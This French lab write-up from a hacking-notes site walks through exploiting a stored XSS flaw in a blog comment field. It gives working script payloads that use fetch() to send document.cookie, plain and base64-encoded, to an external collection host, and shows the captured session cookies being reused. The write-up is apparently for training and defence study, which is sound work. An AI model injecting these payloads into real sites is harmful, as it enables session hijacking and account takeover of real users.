> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/cookie-theft-via-xss.md).

# Vol de cookies via XSS

### Exploiter le Cross-Site Scripting pour voler des cookies

Le laboratoire présente une vulnérabilité XSS stockée dans la fonction de commentaires du blog. Un utilisateur victime consulte les commentaires après publication. L'objectif pédagogique est de comprendre comment une injection côté client peut conduire à l'exfiltration des informations de session et comment s'en protéger.

Le champ de commentaire n'applique pas un encodage ou un échappement suffisant aux entrées utilisateur, ce qui permet au navigateur d'injecter du contenu lorsqu'un autre utilisateur affiche la page.

```javascript
<script>alert(0)</script>
```

<figure><img src="/files/4ec851bcf417ce0838eb80cb3317c82a9c302f4b" alt="" width="527"><figcaption></figcaption></figure>

Nous utilisons `fetch` pour effectuer des requêtes :

```javascript
<script>
  fetch("https://o0ppmd5fv2hmt8tb190bl5cy4pagy9my.oastify.com/" + "/jordan");
</script>
```

La requête arrive sur l'infrastructure d'écoute.

<figure><img src="/files/c5b537747a4b2b4b328b7204579440d6698260d7" alt=""><figcaption></figcaption></figure>

Nous envoyons le cookie de session :

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + document.cookie);
</script>
```

<figure><img src="/files/502e1c6a550a69f6370a48b5fe60bdd17da04d07" alt=""><figcaption></figcaption></figure>

```
secret=QplRMu1d8Cvif8Ai7En7j3ADRb0DZxa0;
session=sw0gW8IuyBITTD0ChgDydWcmuFx5J79D
```

Nous remplaçons ensuite le cookie de session.

<figure><img src="/files/b83838b66e41bd4f849dfd1bc962f10c05cb05c8" alt=""><figcaption></figcaption></figure>

Vous pouvez aussi encoder le contenu en base64 avant l'envoi :

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + btoa(document.cookie));
</script>
```


---

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```
GET https://hacking-notes.jord4n.pro/fr/web/xss/cookie-theft-via-xss.md?ask=<question>&goal=<endgoal>
```

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